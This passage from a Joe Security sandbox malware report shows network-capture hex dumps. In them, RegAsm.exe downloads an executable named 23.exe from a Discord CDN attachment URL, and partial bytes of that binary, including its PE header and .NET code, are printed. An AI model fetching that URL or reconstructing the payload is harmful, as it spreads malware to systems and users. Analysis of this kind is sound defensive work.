3a 17 64 19 d2 7d c8 5b c0 33 0c 00 52 f5 f4 3b 15 bb ce 3a e6 7c 86 8b b2 fc ce d3 f5 a1 cc 7b 27 d8 0c b9 8f 60 95 43 04 06 28 13 ad b2 1a 38 90 ba b2 76 66 33 0c 68 13 ce 1b c2 94 d5 05 bd db d3 4c 9f b9 42 1b 1c ce 5b Data Ascii: XE}'Uo<ZtI[,cDQ8n kyP8(7]{ {'P!8M]Os}tC:tq9P9``7'dn$)'(EE\*2m=k`{g=R2:d}[3R;:|{'`C(8vf3hLB[

2022-01-15 19:23:33 UTC 8103 IN Data Raw: 4e a4 bc bf fd bf 26 1a 50 32 e5 1e bd c5 d1 2f eb 8b 0c a9 50 23 11 1d 3b 6e 0b 34 fd b4 5a c4 88 93 8c 40 a0 14 bd 98 d3 87 51 0f cc 99 4d ec 94 db bd 54 b0 b2 c9 da 25 51 b1 27 50 1b af 03 7f 25 9d 72 03 14 d5 d4 94 d5 bd 35 59 51 41 70 76 60 55 0b 33 4d 26 3a 65 c7 d5 df 88 dd a6 9a 38 22 48 6e 9f 18 95 3a 50 93 74 1f 3a e8 05 81 de c4 4a e4 5d 05 d5 5a f0 d1 bf 2f 14 cf e0 68 f9 6a 7e 54 28 51 bd ac ed 8d 0e 21 bd ca 2f 2b b4 45 49 33 1b d3 bd 1f 56 c1 88 e0 91 c5 33 e8 62 50 8c 4f 4c 9a a8 9b 50 64 a4 8c 9d 67 8a 1f fb 3b 21 a0 37 c5 93 f3 e5 a5 15 81 33 3d b7 f7 e2 ad 32 18 f8 7d ee46 9e 27 9c 06 1a 37 d5 81 2a 05 32 37 bc c3 c0 43 3a 88 a2 1f cc ad 3e bf 2c 7e 7f ac 64 e7 fe 0d a9 26 af 16 25 18 46 82 fa 6f 88 82 4c 2b 4a f1 2e 37 0a a3 38 02 26 Data Ascii: N&P2/P#;n4Z@QMT%Q'P%r5YQApv`U3M&:e8"Hn:Pt:J]Z/hj~T(Q!/+EI3V3bPOLPdg;!73=2}F'7*27C:>,~d&%FoL+J.78&

2022-01-15 19:23:33 UTC 8119 IN Data Raw: 78 2d a1 94 b7 6e 9a d9 25 5d e4 65 54 95 06 9a f7 c5 af a2 8c fb 45 4b 39 20 1a 5c ca be 78 14 e6 7a 28 9c da 74 09 61 50 b7 42 c9 48 28 5c 32 d2 eb 8d f9 f7 ed 74 9f f7 fd 4c ae 23 31 97 bc fc 60 be 37 1b 07 47 7b 6c 15 ca 2b cd f8 8d c4 60 35 55 04 77 56 73 f4 b1 db 08 64 d1 30 a8 44 db 2d c1 5b d8 a5 55 cc 7b 73 5f d6 07 68 f8 0c 61 51 9b 04 d4 fd 12 bc dd 79 33 c4 b3 e5 28 74 48 fd 61 8b 66 85 9d b7 95 75 44 21 76 9d 50 3b 48 6d 56 8b c2 88 7d 45 8d b5 f6 71 fd 55 74 9b 20 8c c6 90 c2 30 ec 1c 4a b0 c1 d4 4f 0e ca 99 d8 25 72 fb 6b 26 b6 a9 a3 01 9d 4b 70 bc 8b 46 a0 61 53 a5 40 7e 94 3b 88 9b ea 0b 60 77 94 1b a8 f3 12 2b 07 5a 4d c7 75 95 59 3a a7 7d 49 96 28 4d 8a d9 da 4c 35 9e 39 58 05 5d 3d e8 5d f2 1f 1d c0 61 80 1f ea c3 28 81 9d 0e 08 b0 8a Data Ascii: x-n%]eTEK9 \xz(taPBH(\2tL#1`7G{l+`5UwVsd0D-[U{s_haQy3(tHafuD!vP;HmV}EqUt 0JO%rk&KpFaS@~;`w+ZMuY:}I(ML59X]=]a(

2022-01-15 19:23:33 UTC 8135 IN Data Raw: 3f 05 44 13 39 4f 8b bc 4f 2e 70 04 c0 31 46 99 6b 25 4b 46 98 1e a5 e9 12 7d 35 34 4f 21 39 37 ca fd 8a f4 70 39 32 fd 90 cb 41 4c bf bb fe 80 87 e6 fd 73 a9 59 42 2d a0 1a 2d 44 d7 0d 29 7b dc 8d d2 fe c8 fa 59 90 03 37 ed 11 c1 59b3 f0 68 48 43 2f 7c 38 41 4f 9c 7a 9c 54 e7 55 19 e3 f0 9d 62 e8 a0 ba 75 a0 4f 21 dd 37 ca 69 a0 f5 58 de 41 e0 b7 3c 0d 02 c4 ad 3a 72 7b 71 02 2f 50 ba 04 2f c6 39 fb b8 c5 be 00 1c 86 ea 25 e3 08 34 9d 27 c6 ee 25 b9 c7 37 bd f4 18 62 e5 7a 7f f5 49 f3 12 7d 34 81 e1 55 65 4b 51 50 d2 4c e0 5d 46 99 e6 15 ca 4e a0 3e a0 77 28 44 0e 29 85 a7 c5 a3 14 b9 75 51 d1 34 1d 52 7b 15 02 1e 58 ac 46 c2 98 2d 95 41 3a 05 43 10 08 3f 98 d1 a5 dd af 65 c6 af 45 df 92 ee dd c8 e8 3a c2 87 90 36 3d 5b 11 a5 49 b7 10 3d c5 f7 b5 37 50 Data Ascii: ?D9OO.p1Fk%KF}54O!97p92ALsYB--D){Y7YhHC/|8AOzTUbuO!7iXA<:r{q/P/9%4'%7bzI}4UeKQPL]FN>w(D)uQ4R{XF-A:C?eE:6=[I=7P

2022-01-15 19:23:33 UTC 8151 IN Data Raw: 1b 25 c3 97 f0 11 e7 ac d3 bb bd c5 60 f2 dd e7 eb bd c3 4b 90 39 6d 47 28 fb 8d 29 80 1b 35 f1 b0 25 42 d3 1db0 f0 3c c8 5e 05 b0 38 38 2c ec 87 9a 1a 7c c8 2d 3d 7b 48 77 28 55 a8 12 a8 a0 88 7a e5 2c 92 e6 d6 73 a9 77 47 69 9f 4c d2 bc ea be 7d 23 28 14 d5 fe 70 b9 42 f2 ab cd 43 9d f8 3c 7e 13 ee 23 ad f0 ac e8 82 2b 25 65 6c ed 1f 7d 41 8e a1 ad 48 25 58 3c 4f 49 88 4b c5 e0 29 9f 04 66 70 0d 83 5b a9 7d 40 3e f0 6d 30 91 25 4d c6 29 89 54 2a ec 4a 80 7d dd d0 04 19 22 c0 bd 12 dc 60 21 79 ef d7 38 fd f2 48 42 df 2f 81 f0 74 59 2f 55 f4 33 28 21 15 37 ca 5a 20 54 e1 66 8b 64 c7 e3 dd 1c 4f 21 82 73 65 ed 41 a6 bf bb 9c 6c f1 35 e4 b5 86 a5 40 99 8c 75 02 c8 40 7c 05 dc d6 0e 35 33 48 21 01 c7 f8 79 8b 89 41 b5 a2 de b3 4d 48 e2 da a5 43 1e 68 d0 83 Data Ascii: %`K9mG()5%B<^88,|-={Hw(Uz,swGiL}#(pBC<~#+%el}AH%X<OIK)fp[}@>m0%M)T*J}"`!y8HB/tY/U3(!7Z TfdO!seAl5@u@|53H!yAMHCh

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 84 of 103

2022-01-15 19:23:33 UTC 8167 IN Data Raw: 33 0c 49 6d da 54 d9 b5 da cd 99 18 31 59 23 7a 21 cc f9 cd 21 a9 d7 bd 31 0c 35 2d 53 44 c4 1e e9 e7 94 60 3c 44 ee df 20 1c a4 1d 09 a8 b5 85 2c d3 ad 9f dc 24 a9 15 01 ab ad 9b 74 c9 2c 15 d1 ed 96 2d ec 80 d2 9d 31 34 ad 45 48 e7 1c 48 c1 94 fd 7d 91 4d bc 7e b9 9c af bd 1a cc ce 08 59 8d 04 84 29 b1 ac 65 1a 04 98 15 4d f6 a1 3d 29 0c b4 2d 4e e6 fd 80 41 dc 6c c8 31 ec ca 04 b9 69 51 57 dc ea f3 83 c0 d4 c5 a0 a6 f9 fb ee 40 22 6d 9c 41 9b f1 50 a9 d4 54 24 36e7 65 49 42 17 0c 84 c9 4a ac 45 43 56 4f e0 b7 64 2a 6f 04 3c a6 1d 69 b9 6c 1c 31 c4 c0 2e 61 81 0c 05 78 bb 1c aa 08 14 cc 24 73 56 d9 6d 09 f4 04 05 29 ba 5f 6a f8 a3 d4 1d f9 cc 9d 15 b8 81 cc c5 b0 e4 3c 8d 41 d1 b1 30 e9 d4 94 59 ba 3d 2c 05 e1 d5 8c 8f 1a 4c f9 ed 01 85 39 9d b0 2c 78 Data Ascii: 3ImT1Y#z!!15-SD`<D ,$t,-14EHH}M~Y)eM=)-NAl1iQW@"mAPT$6eIBJECVOd*o<il1.ax$sVm)_j<A0Y=,L9,x

2022-01-15 19:23:33 UTC 8183 IN Data Raw: ef 75 f7 3c eb 23 9c 25 09 8d f9 dc b1 8d 33 44 2e 49 83 ed 6a 45 5c 35 71 c6 2c a8 a1 c1 dd d8 8e 54 fd b6 02 8f f2 d6 58 f0 24 2c d1 6d 09 f6 5c 55 68 7c d7 0f 41 3d c9 8c f4 47 00 c9 6a f7 2b b5 8e c8 99 ff 9c f5 75 d1 3b 5d 74 14 f3 10 97 e2 e5 e0 21 bc e4 38 d0 41 bc 41 35 9c b4 d6 1a cc f3 0e e9 4e c0 3e ec 13 01 70 1d a4 f3 ba a8 58 5f 04 47 82 29 5d 81 62 c5 d9 a5 99 56 59 7f 09 b9 1d 77 74 8e 65 ff 4d e4 cd cb 21 d1 15 17 95 0c 7a 9c 9e 58 26 24 8f ef 84 95 01 94 c5 34 4c 9c 5d 15 cd b5 36 c5 e9 72 dd a7 e4 df 25 6a 51 d5 70 b9 42 9a 44 dc 5c f4 a8 70 71 b5 94 e1 fc 8c 5f d1 e3 51 67 29 9f bd 6e d9 d4 84 58 49 9d 10 d1 0b e5 1b 2d ad ce f1 59 76 31 b3 e5 51 7d 08 94 21 84 53 c5 31 90 9b b0 d7 74 4c 42 f8 fb 4c 5e 4c 61 ec bc 4c be d3 5a e9 51 c9 Data Ascii: u<#%3D.IjE\5q,TX$,m\Uh|A=Gj+u;]t!8AA5N>pX_G)]bVYwteM!zX&$4L]6r%jQpBD\pq_Qg)nXI-Yv1Q}!S1tLBL^LaLZQ

2022-01-15 19:23:33 UTC 8199 IN Data Raw: 28 f0 80 d8 67 87 f4 9e bd eb 55 de 8c e1 88 a0 44 86 ad 06 68 ac c5 ff 1b 5d 1c b1 95 d3 fa dc d9 45 09 c8 b5 2d 9a 4f 49 52 74 f5 3e 50 fb 89 37 e4 71 e5 ea 8e d4 7c 22 d6 14 4a 3e d6 33 43 51 a2 50 54 8c 8c d4 1d 21 e7 95 5f 9d f8 d7 66 7c a8 e9 63 da c6 ae 7f 53 d7 05 82 52 86 37 44 29 8c 70 dc ef ef d8 03 e9 9b a7 9f 6c 4f 23 ba a3 4a b2 21 ae 5b 3f 02 64 65 9c 00 ab b6 08 50 01 3e 2a ae f8 ac 15 22 1a f0 a0 44 61 61 05 fc b2 b3 9b 43 05 37 83 6f 7f 6a 1f d2 b7 d69c 1c 17 a2 d7 2c 37 40 ea 1f 6b ac a5 19 35 b2 03 c5 0c 0e 46 2f 83 55 b6 68 66 bc 74 68 20 d8 c9 92 75 cc de 64 31 ce da be 1b b9 99 73 6b 87 a8 2b a8 90 18 39 f1 52 32 21 5c 32 10 56 85 d7 ab 14 bf 50 96 f3 71 53 6c b1 ae b6 6b 49 6e 9b 0c 94 25 d7 1b 9b ec 16 99 ee 4e 0d 08 26 8b ff 2d Data Ascii: (gUDh]E-OIRt>P7q|"J>3CQPT!_f|cSR7D)plO#J![?deP>*"DaaC7oj,7@k5F/Uhfth ud1sk+9R2!\2VPqSlkIn%N&-

2022-01-15 19:23:33 UTC 8215 IN Data Raw: e9 e9 64 38 d9 f9 c3 cf e0 89 4e 58 cb 99 4e 68 ca a9 4a 41 a8 da 19 93 94 5a 09 93 84 5a 79 93 f4 5a 69 93 e4 56 75 f3 b4 a7 b5 b8 ac 39 01 36 a7 71 2e b0 80 2d 74 ec 68 3d 22 f2 4c 2c 6b e6 6d 5a 59 93 d4 52 b0 b6 36 0d 84 82 79 0a db 07 56 ba 8f 4c 45 1f 1b 76 53 5a 0a 34 11 33 ae b4 c2 0d 97 98 67 65 d7 20 77 d1 c7 fa 88 2d 00 ac ad 8a ab d4 c6 65 3b 7e de d9 b3 aa 2e 57 f4 be 10 9f 47 29 3e 2d 93 56 d1 63 35 74 44 eb 86 ad 98 3a b5 70 99 9b ae 10 92 e9 12 29 0a 4d e5 a4 87 7f 3d 6e 09 92 02 3e 5a 2c 1c 13 a7 b3 2b 72 d7 a7 7d f4 dd a7 c5 98 96 9f 21 ff aa d5 81 ae 83 e7 75 72 c8 24 73 6d 04 bd a8 a4 9e 6a f7 3e ec cd aa 6d 2c 67 89 c6 bf 4c d6 6b 4b 42 16 a9 eb 29 91 44 12 4b 8d 87 70 9e eb 7d d1 02 44 56 19 bc 27 85 58 50 a5 4e 2e 66 4c a8 49 a9 92 Data Ascii: d8NXNhJAZZyZiVu96q.-th="L,kmZYR6yVLEvSZ43ge w-e;~.WG)>-Vc5tD:p)M=n>Z,+r}!ur$smj>m,gLkKB)DKp}DV'XPN.fLI

2022-01-15 19:23:33 UTC 8231 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.3 49751 162.159.130.233 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

TimestampkBytestransferred Direction Data

2022-01-15 19:23:42 UTC 8231 OUT GET /attachments/930125827671199807/930125891755978832/23.exe HTTP/1.1Host: cdn.discordapp.com

2022-01-15 19:23:42 UTC 8231 IN HTTP/1.1 200 OKDate: Sat, 15 Jan 2022 19:23:42 GMTContent-Type: application/x-msdos-programContent-Length: 106496Connection: closeCF-Ray: 6ce17ae3b8ea702d-FRAAccept-Ranges: bytesAge: 444903Cache-Control: public, max-age=31536000Content-Disposition: attachment;%20filename=23.exeETag: "c3b2c5a14962f6255d5dec89df0290ca"Expires: Sun, 15 Jan 2023 19:23:42 GMTLast-Modified: Mon, 10 Jan 2022 15:48:13 GMTVary: Accept-EncodingCF-Cache-Status: HITAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"x-goog-generation: 1641829693540022x-goog-hash: crc32c=ASD0sg==x-goog-hash: md5=w7LFoUli9iVdXeyJ3wKQyg==x-goog-metageneration: 1x-goog-storage-class: STANDARDx-goog-stored-content-encoding: identityx-goog-stored-content-length: 106496X-GUploader-UploadID: ADPycdun4HLSC1pdgZIk_isEQhjOmKIdFX1vOPVOU4qz2bX-LHJRu3fqlQFecxi2E0vr8tCacWtQ5rjpjKbZ-AbBm2sX-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Copyright Joe Security LLC 2022 Page 85 of 103

2022-01-15 19:23:42 UTC 8232 IN Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 66 46 78 34 78 30 37 53 4b 42 46 61 74 54 5a 25 32 46 25 32 46 57 55 63 52 7a 7a 63 4b 78 42 43 71 6d 53 42 65 62 47 4e 74 37 36 6d 4c 68 42 46 50 67 6c 73 34 65 78 71 47 34 58 64 72 44 4f 50 46 39 76 59 69 4c 6a 6f 31 51 4a 4c 42 46 65 78 61 50 46 54 6a 4a 57 73 43 67 32 73 69 55 54 4e 38 7a 66 4b 75 31 68 67 34 62 39 30 75 73 50 43 7a 78 59 43 4c 62 77 48 56 44 70 51 51 61 62 61 45 55 35 56 59 77 77 36 34 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fFx4x07SKBFatTZ%2F%2FWUcRzzcKxBCqmSBebGNt76mLhBFPgls4exqG4XdrDOPF9vYiLjo1QJLBFexaPFTjJWsCg2siUTN8zfKu1hg4b90usPCzxYCLbwHVDpQQabaEU5VYww64w%3D%3D"}],"group":"cf-nel","max_age":60

2022-01-15 19:23:42 UTC 8233 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 40 00 94 e5 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 90 01 00 00 0c 00 00 00 00 00 00 a6 91 01 00 00 20 00 00 00 c0 01 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL@0 @ @

2022-01-15 19:23:42 UTC 8234 IN Data Raw: 1f 01 00 06 6f 20 00 00 0a 0c 38 26 03 00 00 12 02 28 21 00 00 0a 0d 73 d4 01 00 06 13 04 73 f9 00 00 06 13 05 11 04 7e 1e 00 00 0a 7d f4 00 00 04 7e 1e 00 00 0a 13 06 11 04 09 73 22 00 00 0a 28 23 00 00 0a 6f 24 00 00 0a 7d f4 00 00 04 11 04 7b f4 00 00 04 72 71 01 00 70 72 d1 01 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 6f 25 00 00 0a 2c 18 72 e3 01 00 70 72 05 02 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 13 06 2b 38 09 72 0f 02 00 70 72 61 01 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 6f 25 00 00 0a 2d 0e 11 04 7b f4 00 00 04 28 22 01 00 06 2b 0c 11 04 7b f4 00 00 04 28 21 01 00 06 13 06 11 06 28 26 00 00 0a 3a 52 02 00 00 11 06 16 6f 27 00 00 0a 13 08 12 08 28 28 00 00 0a 6f 29 00 00 0a 11 06 16 17 6f 2a 00 00 0a 28 2b 00 00 0a 13 06 11 04 7b f4 00 00 04 28 20 01 00 06 Data Ascii: o 8&(!ss~}~s"(#o$}{rqprp~(o%,rprp~(+8rprap~(o%-{("+{(!(&:Ro'((o)o*(+{(

2022-01-15 19:23:42 UTC 8235 IN Data Raw: 00 01 02 00 00 00 6f 00 00 00 4a 00 00 00 b9 00 00 00 6a 00 00 00 00 00 00 00 00 00 00 00 3a 00 00 00 1a 01 00 00 54 01 00 00 03 00 00 00 0f 00 00 01 00 00 00 00 06 00 00 00 53 01 00 00 59 01 00 00 03 00 00 00 0f 00 00 01 1b 30 06 00 2f 02 00 00 03 00 00 11 73 42 00 00 0a 0a 02 03 28 3c 00 00 0a 0b 07 28 3d 00 00 0a 2d 07 06 0d dd 10 02 00 00 02 28 07 00 00 06 0c 07 73 aa 00 00 06 13 04 11 04 1d 8d 59 00 00 01 25 d0 cb 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 6f ad 00 00 06 26 16 13 05 38 c1 01 00 00 14 13 06 73 fa 00 00 06 13 07 11 07 11 04 11 05 1e 8d 59 00 00 01 25 d0 bb00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 6f ab 00 00 06 6f 3e 00 00 0a 6f fd 00 00 06 11 07 11 04 11 05 1e 8d 59 00 00 01 25 d0 bb 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 6f ab 00 00 06 6f Data Ascii: oJj:TSY0/sB(<(=-(sY%(:s;o&8sY%(:s;oo>oY%(:s;oo

2022-01-15 19:23:42 UTC 8237 IN Data Raw: 11 01 00 06 13 06 de 03 26 de 00 11 06 2c 08 06 11 06 6f 4b 00 00 0a 11 05 17 58 13 05 11 05 11 04 6f a9 00 00 06 3f 63 ff ff ff de 03 26 de 00 de 03 26 de 00 06 2a 09 2a 41 4c 00 00 00 00 00 00 68 00 00 00 77 00 00 00 df 00 00 00 03 00 00 00 0a 00 00 01 00 00 00 00 39 00 00 00 cb 00 00 00 04 01 00 00 03 00 00 00 0f 00 00 01 00 00 00 00 06 00 00 00 03 01 00 00 09 01 00 00 03 00 00 00 0f 00 00 01 1b 30 03 00 4c 00 00 00 06 00 00 11 7e 1e 00 00 0a 0a 02 16 6f 27 00 00 0a 1f 76 33 26 02 17 6f 27 00 00 0a 1f 31 33 1b 03 6f 4c 00 00 0a 16 03 6f 4d 00 00 0a 28 4e 00 00 0a 02 28 1e 00 00 06 0a 2b 0e 02 16 14 28 26 00 00 06 6f 3e 00 00 0a 0a de 03 26 de 00 06 2a 01 10 00 00 00 00 06 00 41 47 00 03 0f 00 00 01 1b 30 05 00 2d 01 00 00 07 00 00 11 7e 1e 00 00 0a 0a Data Ascii: &,oKXo?c&&**ALhw90L~o'v3&o'13oLoM(N(+(&o>&*AG0-~

2022-01-15 19:23:42 UTC 8238 IN Data Raw: 00 00 00 00 00 00 06 00 e5 eb 00 03 0a 00 00 01 02 00 06 00 e8 ee 00 61 00 00 00 00 1e 02 28 65 00 00 0a 2a 1b 30 09 00 89 01 00 00 0c 00 00 11 73 19 00 00 0a 0a 02 7e fe 00 00 04 25 2d 17 26 7e fd 00 00 04 fe 06 e6 01 00 06 73 1a 00 00 0a 25 80 fe 00 00 04 28 01 00 00 2b 6f 1c 00 00 0a 0b 38 35 01 00 00 07 6f 1d 00 00 0a 0c 08 18 17 17 8d 57 00 00 01 25 16 1f 18 8d 59 00 00 01 25 d0 c1 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 72 5f 03 00 70 7e 1e 00 00 0a 28 1f 00 00 0a a2 28 1f 01 00 06 6f 20 00 00 0a 0d 38 cb 00 00 00 12 03 28 21 00 00 0a 25 73 22 00 00 0a 28 23 00 00 0a 6f 24 00 00 0a 13 04 1f 3e 8d 59 00 00 01 25 d0 9e 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 72 59 00 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 28 66 00 00 0a 6f 25 00 00 0a 2d 09 11 04 28 10 00 Data Ascii: a(e*0s~%-&~s%(+o85oW%Y%(:s;r_p~((o 8(!%s"(#o$>Y%(:s;rYp~((fo%-(

2022-01-15 19:23:42 UTC 8239 IN Data Raw: 00 70 72 49 04 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 28 66 00 00 0a 1f 10 8d 59 00 00 01 25 d0 dd 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 72 5b 04 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 28 3c 00 00 0a 73 67 00 00 0a 0b 07 6f 6b 00 00 0a 2d 07 06 0c dd b9 01 00 00 07 1f 18 8d 59 00 00 01 25 d0 e9 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 72 63 04 00 70 7e 1e 00 00 0a 28 1f 00 00 0a 6f 6c 00 00 0a 0d 16 13 04 38 73 01 00 00 09 11 04 9a 6f 6d 00 00 0a 13 05 16 13 06 38 4f 01 00 00 11 05 11 06 9a 13 07 11 07 6f 24 00 00 0a 1f 0b 8d 59 00 00 01 25 d0 b3 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 28 3c 00 00 0a 13 08 11 08 28 3d 00 00 0a 39 0c 01 00 00 73 59 00 00 0a 13 09 11 09 11 08 6f 6e 00 00 0a 11 09 1f 4c 8d 59 00 00 01 25 d0 e7 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a Data Ascii: prIp~((fY%(:s;r[p~((<sgok-Y%(:s;rcp~(ol8som8Oo$Y%(:s;(<(=9sYonLY%(:s;

2022-01-15 19:23:42 UTC 8241 IN Data Raw: 00 06 0c 12 04 04 05 0e 05 28 1a 01 00 06 11 04 13 05 02 06 28 21 00 00 06 8d 67 00 00 01 13 06 16 13 07 02 07 0e 04 0e 04 8e 69 12 04 11 06 11 06 8e 69 14 16 12 07 16 28 18 00 00 06 2c 06 73 74 00 00 0a 7a 11 07 8d 67 00 00 01 0d 02 07 0e 04 0e 04 8e 69 12 04 11 06 11 06 8e 69 09 09 8e 69 12 07 16 28 18 00 00 06 25 20 02 a0 00 c0 33 06 73 74 00 00 0a 7a 2c 06 73 74 00 00 0a 7a de 0e 12 05 fe 16 30 00 00 02 6f 0b 00 00 0a dc 02 07 28 19 00 00 06 26 08 28 75 00 00 0a 02 06 16 28 17 00 00 06 26 09 2a 00 00 01 10 00 00 02 00 30 00 6f 9f 00 0e 00 00 00 00 13 30 05 00 32 00 00 00 13 00 00 11 02 03 72 eb 08 00 70 28 24 00 00 06 0a 1a 8d 67 00 00 01 25 16 06 1a 91 9c 25 17 06 1b 91 9c 25 18 06 1c 91 9c 25 19 06 1d 91 9c 16 28 76 00 00 0a 2a 00 00 13 30 06 00 40 Data Ascii: ((!gii(,stzgiii(% 3stz,stz0o(&(u(&*0o02rp($g%%%%(v*0@

2022-01-15 19:23:42 UTC 8242 IN Data Raw: 28 94 00 00 0a 6f 95 00 00 0a 08 6f 96 00 00 0a 17 0d de 05 26 16 0d de 00 09 2a 00 00 01 10 00 00 00 00 00 00 93 93 00 05 0f 00 00 01 1b 30 01 00 15 00 00 00 1b 00 00 11 02 7b 02 00 00 04 6f 83 01 00 06 0a de 05 26 16 0a de 00 06 2a 00 00 00 01 10 00 00 00 00 00 00 0e 0e 00 05 0f 00 00 01 1b 30 02 00 17 00 00 00 1b 00 00 11 02 7b 02 00 00 04 03 6f 85 01 00 06 17 0a de 05 26 16 0a de 00 06 2a 00 01 10 00 00 00 00 00 00 10 10 00 05 0f 00 00 01 1b 30 02 00 26 00 00 00 1b 00 00 11 03 73 53 01 00 06 51 03 02 7b 02 00 00 04 6f 84 01 00 06 51 17 0a de 0c 26 03 73 53 01 00 06 51 16 0a de 00 06 2a 00 00 01 10 00 00 00 00 00 00 18 18 00 0c 0f 00 00 01 1b 30 02 00 16 00 00 00 1c 00 00 11 02 7b 02 00 00 04 03 6f 86 01 00 06 0a de 05 26 16 0a de 00 06 2a 00 00 01 10 Data Ascii: (oo&*0{o&*0{o&*0&sSQ{oQ&sSQ*0{o&*

2022-01-15 19:23:42 UTC 8243 IN Data Raw: 73 98 00 00 0a 25 80 00 01 00 04 73 99 00 00 0a 25 17 6f 9a 00 00 0a 6f 9b 00 00 0a 73 2e 00 00 06 0a 16 0b 2b 53 7e 03 00 00 04 7e 06 00 00 04 28 2d 00 00 06 17 8d 59 00 00 01 25 16 1f 7c 9d 6f 9c 00 00 0a 13 07 16 13 08 2b 1b 11 07 11 08 9a 13 09 06 11 09 6f 2f 00 00 06 2c 04 17 0b 2b 0e 11 08 17 58 13 08 11 08 11 07 8e 69 32 dd 20 88 13 00 00 28 9d 00 00 0a 07 2c aa 73 53 01 00 06 0c 2b 18 06 6f 31 00 00 06 2d 06 73 9e 00 00 0a 7a 20 e8 03 00 00 28 9d 00 00 0a 06 12 02 6f 33 00 00 06 2c de 12 0a fe 15 41 00 00 02 12 0a 7e 04 00 00 04 7e 06 00 00 04 28 2d 00 00 06 28 b3 01 00 06 11 0a 0d 7e 07 00 00 04 28 8a 00 00 06 13 04 2b 0a 20 88 13 00 00 28 9d 00 00 0a 11 04 06 08 12 03 6f 88 00 00 06 2c e9 09 13 05 12 05 73 74 01 00 06 28 bd 01 00 06 12 05 14 28 Data Ascii: s%s%oos.+S~~(-Y%|o+o/,+Xi2 (,sS+o1-sz (o3,A~~(-(~(+ (o,st((

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 86 of 103

2022-01-15 19:23:42 UTC 8245 IN Data Raw: 00 00 00 0f 00 00 01 00 00 00 00 00 00 00 00 41 01 00 00 41 01 00 00 01 00 00 00 23 00 00 01 00 00 00 00 00 00 00 00 41 01 00 00 42 01 00 00 05 00 00 00 0f 00 00 01 1b 30 03 00 62 00 00 00 20 00 00 11 1f 1c 28 55 00 00 0a 72 69 0a 00 70 28 3c 00 00 0a 0a 06 28 aa 00 00 0a 2c 36 06 73 67 00 00 0a 28 ab 00 00 0a 28 45 00 00 0a 0b 12 01 1f fd 28 46 00 00 0a 28 ac 00 00 0a 2c 11 06 28 ad 00 00 0a 06 28 ae 00 00 0a 26 16 0c de 14 17 0c de 10 06 28 ae 00 00 0a 26 16 0c de 05 26 de 00 16 2a 08 2a 00 00 01 10 00 00 00 00 00 00 5b 5b 00 03 0a 00 00 01 1b 30 04 00 33 00 00 00 1f 00 00 11 28 84 00 00 06 0a 16 0b 2b 17 06 07 9a 0c 08 02 03 04 6f 81 00 00 06 de 04 7a 26 de 00 07 17 58 0b 07 06 8e 69 32 e3 17 0d de 06 7a 26 16 0d de 00 09 2a 00 01 34 00 00 00 00 0e 00 Data Ascii: AA#AB0b (Urip(<(,6sg((E(F(,((&(&&**[[03(+oz&Xi2z&*4

